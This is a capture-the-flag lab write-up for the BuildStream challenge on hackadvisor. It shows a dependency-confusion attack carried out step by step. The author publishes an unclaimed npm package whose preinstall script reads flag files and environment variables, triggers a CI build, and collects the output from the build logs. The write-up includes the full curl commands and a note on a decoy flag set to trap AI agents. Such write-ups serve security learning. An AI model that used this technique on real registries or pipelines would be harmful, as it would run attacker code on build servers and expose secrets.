Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script
Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: cicd_pipeline_exploitation, dependency_confusion_attack, npm_lifecycle_script_abuse, unclaimed_package_hijacking
Summary
Task: CI/CD platform with internal npm registry where a project depends on a package not yet published. Solution: publish a malicious package with a preinstall script that reads /flag, then trigger the build pipeline to execute it and retrieve the flag from build logs.
Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script — Hackadvisor
Description
BuildStream is an internal CI/CD platform built by StreamOps Inc. for managing build pipelines, publishing internal packages, and deploying applications. The platform features an integrated npm package registry for sharing reusable modules across projects. Teams use BuildStream to configure their build pipelines, which automatically resolve dependencies from the internal registry during the install phase.
Target: https://0ea399fe-29f2-4025-b9f2-fd22f0ba3a23.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Execute arbitrary code on the build server and retrieve the flag.
Analysis
Reconnaissance
- Platform features: Dashboard, Projects, Registry, Pipelines, Settings
- Existing projects: StreamOps Web Dashboard, Pipeline Runner Service, Notification Gateway
- Existing packages:
@streamops/logger@2.1.0,@streamops/core-utils@1.0.1 - Key finding: The StreamOps Web Dashboard's
package.jsonlistsstreamops-auth-helper@^1.0.0as a dependency, but this package does not exist in the internal registry - No access control: Any authenticated developer can publish packages to the registry
- Build pipeline: Runs
npm installresolving from internal registry athttp://localhost:8080/api/registry - Publish form hint: Explicitly mentions "Include lifecycle scripts (preinstall, postinstall) if needed for setup"
Vulnerability Chain
The attack exploits a classic dependency confusion / supply chain attack pattern:
- A project depends on a package that hasn't been published yet
- The registry allows any authenticated user to publish any package name
- The build pipeline executes npm lifecycle scripts (preinstall) without sandboxing
- Build logs are visible to the user who triggered the build
Target package.json
json read-only • copy allowed{ "name": "streamops-web-dashboard", "version": "4.1.0", "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0", "@streamops/core-utils": "^1.0.0", "@streamops/logger": "^2.1.0", "streamops-auth-helper": "^1.0.0", "axios": "^1.6.0" } }
Solution
Step 1: Publish Malicious Package
Published streamops-auth-helper@1.0.0 with a preinstall script that reads the flag file:
bash read-only • copy allowedURL="https://0ea399fe-29f2-4025-b9f2-fd22f0ba3a23.labs.hackadvisor.io" curl -X POST "$URL/api/registry/publish" \ -H "Content-Type: application/json" \ -d '{ "name": "streamops-auth-helper", "version": "1.0.0", "description": "Authentication helper for StreamOps services", "code": "module.exports = { auth: function() { return true; } };", "package_json_content": "{\"name\": \"streamops-auth-helper\", \"version\": \"1.0.0\", \"main\": \"index.js\", \"scripts\": {\"preinstall\": \"cat /flag* 2>/dev/null || find / -name flag* -exec cat {} \\\\; 2>/dev/null || env | grep -i flag || echo NO_FLAG_FOUND\"}}" }'
Response: {"success":true,"message":"Package streamops-auth-helper@1.0.0 published successfully"}
Step 2: Trigger Build Pipeline
Triggered a build on the StreamOps Web Dashboard project:
bash read-only • copy allowedcurl -X POST "$URL/api/builds/trigger" \ -H "Content-Type: application/json" \ -d '{"project_id": "64864e58-1cd4-47e4-928c-d5fd09d0dfa5"}'
Response: {"build_id":"c56c3738-9aee-445c-8299-2aeb54e602e3","status":"success","build_number":6}
Step 3: Retrieve Flag from Build Logs
Viewed the build log which showed the preinstall script output:
[2026-05-07T05:41:12.415Z] Resolving streamops-auth-helper@^1.0.0...
[2026-05-07T05:41:12.416Z] Found streamops-auth-helper@1.0.0 in internal registry
[2026-05-07T05:41:12.416Z] Running preinstall script for streamops-auth-helper...
[2026-05-07T05:41:16.113Z] preinstall output: FLAG{REDACTED}
Notes
- The login page contained a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}hidden in HTML comments and invisible divs, designed to trick automated scanners and AI agents - The real vulnerability required understanding the npm dependency resolution flow and exploiting the missing package
- This is a textbook dependency confusion attack adapted to an internal registry context
- No sandboxing of npm lifecycle scripts means any code in preinstall/postinstall runs with full server privileges